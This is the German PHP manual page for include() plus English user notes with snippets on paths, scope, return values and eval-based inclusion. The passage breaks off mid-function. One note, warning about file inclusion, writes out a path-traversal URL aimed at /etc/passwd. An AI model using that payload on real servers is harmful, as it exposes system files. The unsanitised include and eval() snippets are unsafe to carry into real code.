include() bindet eine angegebene Datei ein und führt sie aus.
Die folgende Dokumentation trifft ebenfalls auf require() zu.
Dateien werden unter dem angegebenen Pfad gesucht, oder, wenn keiner gegeben ist, im include_path. Wenn keine Datei gefunden wurde, erzeugt include() eine Warnung, im Gegensatz dazu erzeugt require() in diesem Fall einen Fatal Error.
Wenn ein Pfad angegeben ist (absolut oder relativ), wird der include_path ignoriert. Wenn der Dateiname beispielsweise mit ../ befinnt, sucht der Parser im übergeordneten Verzeichnis des aktuellen Arbeitsverzeichnisses nach der Datei.
Mehr Informationen über den Umgang PHPs mit dem Einbinden von Dateien im Zusammenhang mit dem include_path, siehe die Dokumentation zu include_path.
Wenn eine Datei eingebunden wird, wird für den enthaltenen Code der gleiche Geltungsbereich für Variablen übernommen, der für die Zeile gilt, die den include-Befehl aufruft. Jede für diese Zeile verfügbare Variable ist in dem eingebundenen Code verfügbar und jede Variable, die in der eingebundenen Datei gesetzt wird, steht dem weiteren aufrufenden Skript zur Verfügung, als wäre sie in der Zeile, in der include aufgerufen wird, definiert worden. Alle Funktionen und Klassen in der eingebundenen Datei gehören zum globalen Geltungsbereich.
Beispiel #1 Grundlegendes include()-Beispiel
vars.php
<?php
$farbe = 'grün';
$frucht = 'Apfel';
?>
test.php
<?php
echo "Der $frucht ist $farbe."; // Der ist .
include 'vars.php';
echo "Der $frucht ist $farbe"; // Der Apfel ist grün
?>
Wenn include innerhalb einer Funktion aufgerufen wird, verhält sich der gesamte Code aus der aufgerufenen Datei wie wenn er in der Funktion stände. Folglich hat er den selben Variablen-Gültigkeitsbereich wie diese Funktion. Eine Ausname von dieser Regel sind Magische Konstanten, die geparst werden, bevor die Einbindung durchgeführt wird.
Beispiel #2 Include in Funktionen
<?php
function foo()
{
global $farbe;
include 'vars.php';
echo "Der $frucht ist $farbe.";
}
/* vars.php ist im Gültigkeitsbereich von foo(), *
* sodass $frucht außerhalb von diesem Bereich *
* nicht verfügbar ist. $farbe ist auch außerhalb *
* verfügbar, weil es als global deklariert ist. */
foo(); // Der Apfel ist grün.
echo "Der $frucht ist $farbe."; // Der ist grün.
?>
Wenn eine Datei eingebunden wird, wechselt der Parser am Anfang der eingebundenen Datei in den HTML-Modus und am Ende wieder in den PHP-Modus. Aus diesem Grund muss jeder PHP-Code in der eingebundenen Datei mit gültigen PHP-Start- und -Endtags umschlossen sein.
Wenn "fopen-URL-Wrapper" aktiviert sind (was sie in der Standard-Konfiguration sind), kann die einzubindende Datei mit einem URL (über HTTP oder ein anderes unterstütztes Protokoll - siehe Supported Protocols and Wrappers für eine Liste unterstützter Protokolle) anstall eines lokalen Pfades eingebunden werden. Wenn der Zielserver die Zieldatei als PHP-Code interpretiert, können Variablen an die einzubindende Datei mithilfe von HTTP-GET-Query-Strings übergeben werden, obwohl dies nicht das selbe ist, wie wenn man die Datei einbindet und sie den Variablenbereich übernimmt; das Skript läuft weiterhin auf dem entfernten Server und das Ergebnis wird in das lokale Skript eingebunden.
PHP-Versionen kleiner 4.3.0 für Windows, erlauben den Zugriff auf Remote-Dateien mit dieser Funktion nicht, selbst wenn allow_url_fopen aktiviert ist.
Beispiel #3 include() über HTTP
<?php
/* Dieses Beispiel setzt voraus, dass www.example.com konfiguriert ist, *
* .php-Dateien als PHP-Skripte zu interpretieren und .txt-Dateien *
* nicht. Des Weiteren meint 'Funktioniert' hier, dass die Variablen *
* $foo und $bar innerhalb der eingebundenen Datei verfügbar sind. */
// Funktioniert nicht; file.txt wird von www.example.com nicht als PHP interpretiert
include 'http://www.example.com/file.txt?foo=1&bar=2';
// Funktioniert nicht; hier wird nach einer Datei mit dem Namen
// 'file.php?foo=1&bar=2' im lokalen Dateisystem gesucht.
include 'file.php?foo=1&bar=2';
// Funktioniert
include 'http://www.example.com/file.php?foo=1&bar=2';
$foo = 1;
$bar = 2;
include 'file.txt'; // Funktioniert
include 'file.php'; // Funktioniert
?>
Die entfernte Datei mag vom entfernten Server (je nach Konfiguration) geparst werden oder nicht, aber sie muss weiterhin ein gültiges PHP-Skript ausgeben, weil die Ausgabe auf dem lokalen Server als PHP ausgeführt wird. Wenn die Ausgabe des vom entfernten Server nur ausgegeben werden soll, ist readfile() die bessere Wahl. Andernfalls muss sehr gut acht gegeben werden, dass das entfernte Skript sicher gültigen und erwünschten Code ausgibt!
Siehe auch Entfernte Dateien, fopen() und file() für verwandte Informationen.
Umgang mit Rückgabewerten: Es ist möglich, in der eingebundenen Datei return() aufzurufen um den Ablauf dieser Datei abzubrechen und zu dem einbindenden Skript zurückzukehren. Der zurückgegebene Wert kann als Rückgabewert des include-Aufrufs abgefragt werden, wie bei einer normalen Funktion. Dies ist beim Einbinden entfernter Dateien nur möglich, wenn die entfernte Datei mit gültigen PHP Start- und Endtags umschlossen ist (wie bei jeder lokalen Datei). Es ist möglich, die benötigten Variablen innerhalb diese Tags zu deklarieren und sie werden im einzubindenden Skript am dem Punkt, an dem die Datei eingebunden wird, verfügbar.
Weil include() eine spezielles Sprachkonstrukt ist, sind die Klammern um das Argument optional. Beim Vergleichen des Rückgabewerts muss allerdings aufgepasst werden (siehe Beispiel).
Beispiel #4 Vergleichen des Rückgabewerts von include
<?php
// funktioniert nicht, wird als include(('vars.php') == 'OK') behandelt
// also als include('')
if (include('vars.php') == 'OK') {
echo 'OK';
}
// Funktioniert
if ((include 'vars.php') == 'OK') {
echo 'OK';
}
?>
Beispiel #5 include() und return()
return.php
<?php
$var = 'PHP';
return $var;
?>
noreturn.php
<?php
$var = 'PHP';
?>
testreturns.php
<?php
$foo = include 'return.php';
echo $foo; // gibt 'PHP' aus
$bar = include 'noreturn.php';
echo $bar; // gibt 1 aus
?>
$bar hat den Wert 1, weil das Einbinden erfolgreich war. Die erste Datei nutzt return(), was die andere nicht tut. Wenn das Einbinden fehlschlägt, wird FALSE zurückgegeben und ein Fehler der Kategorie E_WARNING erzeugt.
Wenn in der eingebundenen Datei Funktionen definiert werden, können sie in der einbindenden Datei genutzt werden, unabhängig davon, ob sie vor oder nach return() definiert werden. Wenn eine Datei zweimal eingebunden wird, erzeugt PHP 5 einen fatalen Fehler, weil Funktionen bereits definiert wurden, während PHP 4 Funktionen, die nach return() definiert werden, ignoriert. Es ist empfohlen, include_once() zu nutzen, anstatt zu überprüfen, ob die Datei bereits eingebunden wurde, und abhängig davon innerhalb der eingebundenen Datei zu handeln.
Ein anderer Weg, die Ausgabe eines eingebundenen Skriptes in eine Variable zu schreiben, ist das Arbeiten mit den Funktionen zur Steuerung des Ausgabepuffers. Beispiel:
Beispiel #6 Nutzung des Ausgabepuffers um eine Datei "in einen String" einzubinden
<?php
$string = get_include_contents('somefile.php');
function get_include_contents($filename) {
if (is_file($filename)) {
ob_start();
include $filename;
$contents = ob_get_contents();
ob_end_clean();
return $contents;
}
return false;
}
?>
Um automatisch Dateien in Skripte einzubinden, siehe auch die Konfigurationsdirektiven auto_prepend_file und auto_append_file in php.ini.
Hinweis: Da dies ein Sprachkonstrukt und keine Funktion ist, können Sie dieses nicht mit Variablenfunktionen verwenden.
Siehe auch require(), require_once(), include_once(), get_included_files(), readfile(), virtual(), und include_path.
I found a good solution how to include a text that is defined as a string and contains php-code that must be executed.
All defined local vars are exported out to the global scope after execution.
<?php
function include_text($text) {
// executing script
eval ("?>$text");
// exporting global vars
$GLOBALS += get_defined_vars();
}
include_text ('<? $a = 2; $b = $a + 2; ?>');
echo "a = $a<br>";
echo "b = $b";
?>
Output:
a = 2
b = 4
Be very careful with including files based on user inputed data. For instance, consider this code sample:
index.php:
<?php
$page = $_GET['page'];
if (file_exists('pages/'.$page.'.php'))
{
include('pages/'.$page.'.php');
}
?>
Then go to URL:
index.php?page=/../../../../../../etc/passwd%00.html
file_exists() will return true, your passwd file will be included and since it's not php code it will be output directly to the browser.
Of course the same vulnerability exists if you are reading a file to display, as in a templating engine.
You absolutely have to sanitize any input string that will be used to access the filesystem, you can't count on an absolute path or appended file extension to secure it. Better yet, know exactly what options you can accept and accept only those options.
About the problem to include a script in the global scope, after many tests with different solutions, I reached my point. I post it in the hope it may be useful.
At first I built my "globalScopeSimulator" class, but an include called inside a class is not the best solution: if it contains some user code, the user will access to the $this reserved variable and even to all the private members... Critical issue!
That's why I turned back into a function solution.
Another advantage is that I didn't have to make use of the deprecable "global" keyword, since I *imported* the global scope inside the function, with the extract() function.
Using the EXTR_REFS flag this trick does not waste memory, since the extracted variables are not a copy, but a reference to the global ones.
<?php
function global_include($script_path) {
// check if the file to include exists:
if (isset($script_path) && is_file($script_path)) {
// extract variables from the global scope:
extract($GLOBALS, EXTR_REFS);
ob_start();
include($script_path);
return ob_get_clean();
} else {
ob_clean();
trigger_error('The script to parse in the global scope was not found');
}
}
?>
Hope it helps... :)
Cheers and happy coding!
If you can't change your include path or you have to leave some php libraries where they are, you can just do a chdir($localdir) before the include or require statement to make sure that the local dir now is $localdir.
This is the typical case if you have to include some other app classes and you do not want to move the app files around.
This is just a workaround for those who can't benefit from all other solutions proposed.
It appears to be a common problem for an include file to know the directory level distance from the logical root of a site to the script including the file (what I will call the "includer"). This is required if the include file needs to refer to other files such as images or nested includes and is included from within files at different directory levels. The relative file depth (../ or ../../ etc.) needs to be known.
The solutions offered above break with anything which makes the true server root different from the logical root for the site. This includes use of Apache alias directories, directory links or simply the common practice of using a sub-folder under the www directory for testing but not production.
The only solution I have found so far is to create an include file at a known directory level which gets included at the beginning of every page in the site. This is common with headers such as a header.inc.php file. At the start of this include file have the following code:
<?php
session_start(); /* if not already done */
/* replace value below with appropriate header to root distance of this include file */
$header_to_root_distance = 1;
$header_dir = dirname(__FILE__);
$root_distance = substr_count($header_dir, DIRECTORY_SEPARATOR) - $header_to_root_distance;
$includer_distance = substr_count(dirname($_SERVER['SCRIPT_FILENAME']), "/");
$relative_path = str_repeat('../', $includer_distance - $root_distance);
$_SESSION['relative_path'] = $relative_path;
?>
The session variable "relative_path" will now always contain the correct relative path back the site logical root and may be concatenated with file references so they will work no matter which directory level the main includer file resides at within the site.
AVOID ZERO BYTE ORDER MARK!
I was having problems with include/require (once or not). I created an include-opening.php which had the initial structure of the page, and then included this page in all other pages. The result was looking "crashed", so I did compare including or just pasting the html code into the page. The hardcoded version displayed ok, even with the source code being exactly the same.
So I opened the include file with notepad++ and set the encoding to UTF-8 (no BOM) and voila, everything is working great now.
Heres a nifty little include function I whipped up utilizing extract and compact to post variables to and return from an include file (great for configurations, ex: DB connection info, or whatever else you can imagine). I'm using namespaces and keeping my function/class names simple, so you can rename the function to whatever you'd like.
<?php
# include function allowing variables to be posted to and returned from the target script
function inc( $__path, $__return='.', array $__post=array() ) {
# post var's to the local scope
if ( count( $__post ) )
extract($__post, EXTR_SKIP);
# include the file and store the result
if ( $__result = include $__path ) {
# return requested variables from the included file
if ( is_array($__return) )
$result = compact($__return);
# Return ALL variables defined from within the included file
# NOTE: $__post keys are NOT included!
else if ( $__return == '.' )
$result = compact( array_diff( array_keys(get_defined_vars()),
array('GLOBALS', '__path', '__return', '__post', '__result')
+ array_keys($__post) ) );
# Is $__return a variable from the file?
else if ( $__return && isset($$__return) )
$result = array( $__return => $$__return );
else
$result = array();
# unshift the include result into $result
array_unshift($result, $__result);
return $result;
}
return array($__result);
}
?>
Well now, I am confused because these pages all show them as functions:
Include(), require(), require_once(), include_once()
Yet ALL of the examples show the PEAR way:
http://pear.php.net/manual/en/standards.including.php
"Note: include_once and require_once are statements, not functions. Parentheses should not surround the subject filename."
include_once "a.php";
To change all require_once('foo.php'); to require_once 'foo.php' execute this:
cd /var/www/
find . -name '*.php' -print | xargs egrep -l \
'require_once\s*(\(.*\));'\ | xargs sed -i.sedorig -e \
's/require_once\s*(\(.*\));/require_once \1;/'
(thanks to Robert Hajime Lanning for that)
Then to remove all the ".php.sedorig" backup files execute this:
find . -name "*.php.sedorig" -type f -exec rm -rf {} \;
A word of warning about lazy HTTP includes - they can break your server.
If you are including a file from your own site, do not use a URL however easy or tempting that may be. If all of your PHP processes are tied up with the pages making the request, there are no processes available to serve the include. The original requests will sit there tying up all your resources and eventually time out.
Use file references wherever possible. This caused us a considerable amount of grief (Zend/IIS) before I tracked the problem down.
I was having problems when HTTP headers were being sent before I was ready. I discovered that this happened only when I was including a file at the top of my script. Since my included file only contained PHP with no whitespace outside the tags, this behavior seemed incorrect.
The editor I was using was saving the files in UTF8 format, sometimes including the redundant Byte Order Mark at the beginning of the file. Any Unicode-aware editor would implicitly hide the presence of the BOM from the user, making it hard to notice the problem. However, by using a hex editor I was able to see and remove the three bytes, restoring normal behavior.
Moral: Prevent your editor from adding an invisible Unicode Byte Order Mark to the beginning of your source code!
I would like to point out the difference in behavior in IIS/Windows and Apache/Unix (not sure about any others, but I would think that any server under Windows will be have the same as IIS/Windows and any server under Unix will behave the same as Apache/Unix) when it comes to path specified for included files.
Consider the following:
<?php
include '/Path/To/File.php';
?>
In IIS/Windows, the file is looked for at the root of the virtual host (we'll say C:\Server\Sites\MySite) since the path began with a forward slash. This behavior works in HTML under all platforms because browsers interpret the / as the root of the server.
However, Unix file/folder structuring is a little different. The / represents the root of the hard drive or current hard drive partition. In other words, it would basically be looking for root:/Path/To/File.php instead of serverRoot:/Path/To/File.php (which we'll say is /usr/var/www/htdocs). Thusly, an error/warning would be thrown because the path doesn't exist in the root path.
I just thought I'd mention that. It will definitely save some trouble for those users who work under Windows and transport their applications to an Unix-based server.
A work around would be something like:
<?php
$documentRoot = null;
if (isset($_SERVER['DOCUMENT_ROOT'])) {
$documentRoot = $_SERVER['DOCUMENT_ROOT'];
if (strstr($documentRoot, '/') || strstr($documentRoot, '\\')) {
if (strstr($documentRoot, '/')) {
$documentRoot = str_replace('/', DIRECTORY_SEPARATOR, $documentRoot);
}
elseif (strstr($documentRoot, '\\')) {
$documentRoot = str_replace('\\', DIRECTORY_SEPARATOR, $documentRoot);
}
}
if (preg_match('/[^\\/]{1}\\[^\\/]{1}/', $documentRoot)) {
$documentRoot = preg_replace('/([^\\/]{1})\\([^\\/]{1})/', '\\1DIR_SEP\\2', $documentRoot);
$documentRoot = str_replace('DIR_SEP', '\\\\', $documentRoot);
}
}
else {
/**
* I usually store this file in the Includes folder at the root of my
* virtual host. This can be changed to wherever you store this file.
*
* Example:
* If you store this file in the Application/Settings/DocRoot folder at the
* base of your site, you would change this array to include each of those
* folders.
*
* <code>
* $directories = array(
* 'Application',
* 'Settings',
* 'DocRoot'
* );
* </code>
*/
$directories = array(
'Includes'
);
if (defined('__DIR__')) {
$currentDirectory = __DIR__;
}
else {
$currentDirectory = dirname(__FILE__);
}
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
$currentDirectory = $currentDirectory . DIRECTORY_SEPARATOR;
foreach ($directories as $directory) {
$currentDirectory = str_replace(
DIRECTORY_SEPARATOR . $directory . DIRECTORY_SEPARATOR,
DIRECTORY_SEPARATOR,
$currentDirectory
);
}
$currentDirectory = rtrim($currentDirectory, DIRECTORY_SEPARATOR);
}
define('SERVER_DOC_ROOT', $documentRoot);
?>
Using this file, you can include files using the defined SERVER_DOC_ROOT constant and each file included that way will be included from the correct location and no errors/warnings will be thrown.
Example:
<?php
include SERVER_DOC_ROOT . '/Path/To/File.php';
?>
here's another way to include your files.
<?php
function includeFile($file_name){
$dir = array('./', 'lib/', 'db/', 'student/'); //<-- put here your website directory you want to include
$level = array('', '/', '../', '../../'); //<-- you can add more deep level in this array
$ini_path = array();
foreach($dir as $p){
foreach($level as $l){
$file = $l.$p.$file_name;
if(file_exists($file)){
include_once($file);
return;
}
}
}
} //end function includeFile
includeFile('html.php');
includeFile('libpage.php');
?>
A even better security solution is to do the following:
$path = basename($page, 'php') . '.php';
if(file_exists($path)) include $path;
This will mean it will only load files with the ".php" extension in the current directory.
Eg $page = 'myfile.php' => 'myfile.php'
$page = '/etc/passwd' => 'passwd.php' => not found
$page = 'myfile.jpg' => 'myfile.jpg.php' => not found
Simple.
Richard
Alot of people here in this section in the user contributed notes suggest using
<?php
@include('file.php');
?>
to suppress warnings. This is not a good idea as it will also turn off error reporting in the included file. If you want to turn off warnings should the include fail use one of the following.
<?php
$theme= "themefoldername";
//turn off warnings
error_reporting(E_ALL & ~E_WARNING);
if(!include('themes/'.$theme.'/index.php'))
{
// file was missing so include default theme
require('themes/default_theme/index.php');
}
// Turn on warnings
error_reporting(E_ALL);
?>
Or maybe this works better
<?php
if(file_exsists('themes/'.$theme.'/index.php'))
include('themes/'.$theme.'/index.php');
else
require('themes/default_theme/index.php');
?>
You decide.
If you wish to abstract away include calls inside functions, or programmatically juggle files to include using functions, just remember:
1. Declare any variables as global if you want those variables "included" in the global scope (ie. if they are used outside the file).
2. Functions are naturally global, so files that only contain functions (libs, sets of api's what have you) can be included anywhere.
eg.
<?php
function nav($i){
include "nav$i.php";
}
nav(1);
// same as...
include "nav1.php";
// ...as long as variables are global
?>
So don't feel you can only include/require at the beginning of files, or outside/before functions. You can totally program any sophisticated include behavior.
This might be useful:
<?php
include $_SERVER['DOCUMENT_ROOT']."/lib/sample.lib.php";
?>
So you can move script anywhere in web-project tree without changes.
If you're doing a lot of dynamic/computed includes (>100, say), then you may well want to know this performance comparison: if the target file doesn't exist, then an @include() is *ten* *times* *slower* than prefixing it with a file_exists() check. (This will be important if the file will only occasionally exist - e.g. a dev environment has it, but a prod one doesn't.)
Wade.
Include and Require will call the __autoload function if the file that is being called extends some other class
Example Code:
File teste.php
<?php
class teste extends motherclass {
public function __construct() {
parent::__construct();
}
}
?>
File example.php
<?php
require("teste.php");
if (class_exists("motherclass"))
echo "It exists";
?>
You will be given the output:
It exists
I think the __autoload function should be called when I instantiate the teste class not when I include/require the file.
Just about any file type can be 'included' or 'required'. By sending appropriate headers, like in the below example, the client would normally see the output in their browser as an image or other intended mime type.
You can also embed text in the output, like in the example below. But an image is still an image to the client's machine. The client must open the downloaded file as plain/text to see what you embedded.
<?php
header('Content-type: image/jpeg');
header('Content-Disposition: inline;');
include '/some_image.jpg';
echo 'This file was provided by example@user.com.';
?>
Which brings us to a major security issue. Scripts can be hidden within images or files using this method. For example, instead echoing "<?php phpinfo(); ?>", a foreach/unlink loop through the entire filesystem, or some other method of disabling security on your machine.
'Including' any file made this way will execute those scripts. NEVER 'include' anything that you found on the web or that users upload or can alter in any way. Instead, use something a little safer to display the found file, like "echo file_get_contents('/some_image.jpg');"
Linking to CSS/JavaScript resources through an included file has bugged me for a long time because if I have a directory structure like:
/www
index.php
/sub_dir
index.php
/includes
header.php
/style
main.css
where both index.php files include header.php and the header.php file includes something like:
<link rel="stylesheet" type="text/css" href="style/main.css">
This will be included for /index.php but not for /sub_dir/index.php. I read through a few different ways to use relative includes but those are generally meant for the php include function not the HTML <link>. I didn't really love the idea of a new function that I would pass both the filename and a '../' string into which it could use in the href. I also didn't want to just use /style/main.css because in development it is not hosted in my root directory. Although I could change my configuration or my include_path I really just wanted to find a way for PHP to figure out the relative path for me. I finally found a solution that met my needs and here it is:
<?php
$include_dist = substr_count(dirname(__FILE__), DIRECTORY_SEPARATOR);
$calling_dist = substr_count(dirname($_SERVER['SCRIPT_FILENAME']), DIRECTORY_SEPARATOR);
?>
<link rel="stylesheet" type="text/css" href="<?=str_repeat('../', $calling_dist - $include_dist + 1)?>style/main.css">
In this case I added one to the difference to account for the fact that the include is one directory away from the base. This also means that str_repeat won't be passed a negative value, which would cause an error. dirname(__FILE__) gets the directory of the file being included while dirname($_SERVER['SCRIPT_FILENAME']) gets the directory of the file including it. The script simply finds the difference in how far off the base directory the two are and prints the appropriate number of '../' before the URL.
NOTE: dirname(__FILE__) can be replaced by __DIR__ in PHP greater than or equal to 5.3.0
I needed a way of include()ing a php page from a MySQL database. It took some work, but
eventually I came up with this:
<?php
function include_text($text){
while(substr_count($text, '<?php') > 0){ //loop while there's code in $text
list($html, $text) = explode('<?php', $text, 2); //split at first open php tag
echo $html; //echo text before tag
list($code, $text) = explode('?>', $text, 2); //split at closing tag
eval($code); //exec code (between tags)
}
echo $text; //echo whatever is left
}
?>
It doesn't work exactly the same as include(), as newlines after the '?>' tag are echoed, rather
than being discarded, but that's an exercise left to the reader to fix if they so desire, and
also globals defined within the included text are not available outside the function.
Not sure whether it would work with something like:
<?php if($x){ ?>
<p>Some HTML Output</p>
...
...
<?php }
else{ ?>
<p>Other HTML Output</p>
...
...
<?php } ?>
I rarely use that, but it's easy to re-write code to avoid it using HereDoc syntax, so the example above becomes:
<?php if($x){ echo <<<EOT
<p>Some HTML Output</p>
...
...
EOT;
}
else{ echo <<<EOT
<p>Other HTML Output</p>
...
...
EOT;
} ?>
Which would work with include_text()
It also won't work as-is with either asp-style or short tags.
When using includes with allow_url_include on in your ini beware that, when accessing sessions from included files, if from a script you include one file using an absolute file reference and then include a second file from on your local server using a url file reference that
they have different variable scope
and the same session will not be seen from both included files. The original session won't be seen from the url included file.
So:
main script:
<?php
session_start();
$_SESSION['count'] = 234;
echo "sid from script1".session_id();
include "/var/www/htdocs/file1";
include "http://yoursite/file2";
?>
file1
<?php
echo " **sid from file1: ".session_id();
echo " count from file1= ".$_SESSION['count'];
?>
echoes both a session id and the count
but file2
<?php
echo " **sid from file2: ".session_id();
echo " count from file2= ".$_SESSION['count'];
?>
echoes just the text, no session id and no count.
Don't forget about the DIRECTORY_SEPARATOR constant.
No tricks needed to identify the OS;
just use it:
<?php include($folder.DIRECTORY_SEPARATOR.$file); ?>
*hint make a function
Two functions to help:
<?php
function add_include_path ($path)
{
foreach (func_get_args() AS $path)
{
if (!file_exists($path) OR (file_exists($path) && filetype($path) !== 'dir'))
{
trigger_error("Include path '{$path}' not exists", E_USER_WARNING);
continue;
}
$paths = explode(PATH_SEPARATOR, get_include_path());
if (array_search($path, $paths) === false)
array_push($paths, $path);
set_include_path(implode(PATH_SEPARATOR, $paths));
}
}
function remove_include_path ($path)
{
foreach (func_get_args() AS $path)
{
$paths = explode(PATH_SEPARATOR, get_include_path());
if (($k = array_search($path, $paths)) !== false)
unset($paths[$k]);
else
continue;
if (!count($paths))
{
trigger_error("Include path '{$path}' can not be removed because it is the only", E_USER_NOTICE);
continue;
}
set_include_path(implode(PATH_SEPARATOR, $paths));
}
}
?>
Like the manual says the includes gets all function and variable on global scope that
Includes errors so watch out if you disable display errors with @ because it also hides the included file errors, its kind of dumb :$ hehe but sometime you miss it when you want to prevent displaying errors.
This also applies to include_once, require and require_once.
Example
“index.php”
<?php
#Shows the error ‘Parse error: syntax error, unexpected T_VARIABLE in’
include(test.php);
#Doesn’t show the error
@include(test.php);
?>
“test.php”
<?php
$parse_error
?>
As a rule of thumb, never include files using relative paths. To do this efficiently, you can define constants as follows:
----
<?php // prepend.php - autoprepended at the top of your tree
define('MAINDIR',dirname(__FILE__) . '/');
define('DL_DIR',MAINDIR . 'downloads/');
define('LIB_DIR',MAINDIR . 'lib/');
?>
----
and so on. This way, the files in your framework will only have to issue statements such as this:
<?php
require_once(LIB_DIR . 'excel_functions.php');
?>
This also frees you from having to check the include path each time you do an include.
If you're running scripts from below your main web directory, put a prepend.php file in each subdirectory:
--
<?php
include(dirname(dirname(__FILE__)) . '/prepend.php');
?>
--
This way, the prepend.php at the top always gets executed and you'll have no path handling headaches. Just remember to set the auto_prepend_file directive on your .htaccess files for each subdirectory where you have web-accessible scripts.
I have a need to include a lot of files, all of which are contained in one directory. Support for things like <?php include_once 'dir/*.php'; ?> would be nice, but it doesn't exist.
Therefore I wrote this quick function (located in a file automatically included by auto_prepend_file):
<?php
function include_all_once ($pattern) {
foreach (glob($pattern) as $file) { // remember the { and } are necessary!
include $file;
}
}
// used like
include_all_once('dir/*.php');
?>
A fairly obvious solution. It doesn't deal with relative file paths though; you still have to do that yourself.
two little methods i wrote up that work on our IIS6 server. the first makes an alternate include call you can use to include things by calling them via their root location. the second method alters the include path so all include() calls are via the root location.
these are a compilation of a few methods i found here, but i think i made them a bit more modular. anyhow...
<?php
## MAKES A NEW FUNCTION CALLED rinclude() THAT INCLUDES
## A FILE RELATIVE TO THE ROOT DIRECTORY
## LEAVE include() UNTOUCHED SO IT CAN STILL BE USED AS NORMAL
function rinclude($path){
$levels = substr_count($_SERVER['PHP_SELF'],'/');
$root = '';
for($i = 1; $i < $levels; $i++){$root .= '../';}
include($root . $path);
}
rinclude('file.inc.php'); // in root
rinclude('dir/file.inc.php'); // in a subfolder
?>
<hr />
<?php
## SET INCLUDE TO ROOT DIRECTORY SO ALL include()
## CALLS WILL BE RELATIVE TO ROOT
function setinclude(){
$levels = substr_count($_SERVER['PHP_SELF'],'/');
$root = '';
for($i = 1; $i < $levels; $i++){$root .= '../';}
set_include_path($root);
}
setinclude();
include('file.inc.php'); // in root
include('dir/file.inc.phpp'); // in a subfolder
?>
Here's a really simple solution to a common problem. Let's say you want to include files the way that apache does, relative to the document root (the root dir of your app). Independent of what server you are on, so that you don't have to specify an absolute path on your filesystem. At the top of your page put:
<?php set_include_path( get_include_path() . PATH_SEPARATOR . $_SERVER['DOCUMENT_ROOT'] ); ?>
Now anywhere you do an include you can do something like:
<?php include ( "Templates/header.inc") ?>
So, if your server files are in /var/www/mysite, this will include /var/www/mysite/Templates/header.inc when it's on your server. And if on your dev machine it's in /user/myname/mysite, it will include /user/myname/mysite/Templates/header.inc when it's on your dev machine.
With a large system you might have lots of functions. I have noticed that this can produce large memory overhead, some of which can be alleviated by using includes in the following manner:
e.g.
<?php
function foo() {
//some long block of code here producing $bar
return $bar;
}
?>
can be rewritten as:
<?php
function foo() {
return include "foo.php";
}
?>
where foo.php contains the following:
<?php
//long block of code producing $bar
return $bar;
?>
The result is the function's body does not get loaded into memory until the function is actually called.
Since include() caused me many problems when i was trying to test my code, I wrote a small function. It receives as parameter the path to the file to include relative to the current file. The format similar to :
"../../path/FileName.php"
The function returns the absolute path to the file to be included. This path can be used as argument to include() and resolves the problem of nested inclusions.
<?php
function getFilePath($relativePath){
$absPath=dirname($_SERVER['SCRIPT_FILENAME']);
$relativeArray=explode("/",$relativePath);
$absArray=explode("/",$absPath);
$upTokens=0;
//count the number of ".." tokens that precede the path
while(( $upTokens<count($relativeArray)) and ($relativeArray[$upTokens]=="..")) {
$upTokens++;
}
// create the absolute path
$filePath=$absArray[0];
for ($i=1; $i< (count($absArray)-$upTokens);$i++) {
$filePath.="/".$absArray[$i];
}
for ($i=$upTokens; $i< count($relativeArray);$i++){
$filePath.="/".$relativeArray[$i];
}
return $filePath;
}
?>
Hope you will find it usefull....
Alex
Easy way to set $_GET values for local includes.
This is an easy way to make up fake URLs for SEO purposes that are really just running other PHP pages with special $_GET values.
This will NOT work:
<?PHP
include('communities.php?show=gated&where=naples');
?>
However, this will:
<?PHP
$_GET = array();
$_GET['show'] = 'gated';
$_GET['where'] = 'naples';
include('communities.php');
?>
Putting this on your page and nothing else will give the same result as going to
'communities.php?show=gated&where=naples'
but the URL can be whatever you want it to be.
If you use php >5.2, don't forget to set up the allow_url_include parameter in php.ini file .. If not you can search a long long long long time after this like-a-bug problem ;)
http://www.php.net/manual/en/ini.php
What a pain! I have struggled with including files from various subdirectories. My server doesn't support an easy way to get to the root HTML directory so this is what I came up with:
<?php
$times = substr_count($_SERVER['PHP_SELF'],"/");
$rootaccess = "";
$i = 1;
while ($i < $times) {
$rootaccess .= "../";
$i++;
}
include ($rootaccess."foo/bar.php");
?>
This will give you what it takes to get to the root directory, regardless of how many subdirectories you have traveled through.
A very EASY way to get 'include' to find its way to another directory, other than setting the 'include path', and useful for fetching one or two files:
<?php include ($_SERVER['DOCUMENT_ROOT']."/foo/bar.php"); ?>
This creates an include that is relative to the root rather than the current directory.
The dot is for concatenation, not current directory, as with 'include path' syntax.
See Appendix M of Manual > Reserved words > Predefined Variables, for more info on $SERVER.
coldflame,
<?=$foo?> equals <? print $foo ?>
If 1 is not needed at the end, just use <? include($filename) ?> without the equal sign.
If you have a problem with "Permission denied" errors (or other permissions problems) when including files, check:
1) That the file you are trying to include has the appropriate "r" (read) permission set, and
2) That all the directories that are ancestors of the included file, but not of the script including the file, have the appropriate "x" (execute/search) permission set.
You can also use debug_backtrace to write a function that do the chdir automatically:
<?php
function include_relative($file)
{
$bt = debug_backtrace();
$old = getcwd();
chdir(dirname($bt[0]['file']));
include($file);
chdir($old);
}
?>
When I'm dealing with a package that uses relative includes of its own, rather than modify all of their includes, I found it was easier to change PHP's working directory before and after the include, like so:
<?php
$wd_was = getcwd();
chdir("/path/to/included/app");
include("mainfile.php");
chdir($wd_was);
?>
This way neither my includes nor theirs are affected; they all work as expected.
If you want the "include" function to work correctly with paths and GET parameters, try the following code:
<?php
$_GET['param1'] = 'param1value';
$_GET['param2'] = 'param2value';
@include($_SERVER['DOCUMENT_ROOT'] . "/path1/path2/include.php");
?>
Then within your "include.php" use $_GET['param1'] and $_GET['param2'] to access values of parameters.
I spent several hours to figure this out.
Please note that althought you can call a function that is DEFINED later in the code, you cannot call a function that is defined in a file which is INCLUDED later. Consider following two examples:
Example 1:
<?php
test();
function test()
{
echo 'In test.';
}
?>
Example 2:
file1.php:
<?php
test();
include 'file2.php';
?>
file2.php:
<?php
function test()
{
echo 'In test.';
}
?>
Please be aware that while the first example will work as expected, the second one will generate a fatal error "Call to undefined function: test() ...". The same is true for the require.
If a person directly accesses an include file by mistake, you may want to forward them to a correct default page.
Do this by:
Say the file to be included is 'newpubs.php'
and the main pages are either newpubs_e.php or newpubs_f.php
<?php
if($_SERVER[PHP_SELF]=="/newpubs.php")
{
header("Location: newpubs_e.php");
exit;
}
?>
Will send them to newpubs_e.php if they try to access newpubs.php directly.
Because there is no quick way to check if a file is in include_path, I've made this function:
<?php
function is_includeable($filename, $returnpaths = false) {
$include_paths = explode(PATH_SEPARATOR, ini_get('include_path'));
foreach ($include_paths as $path) {
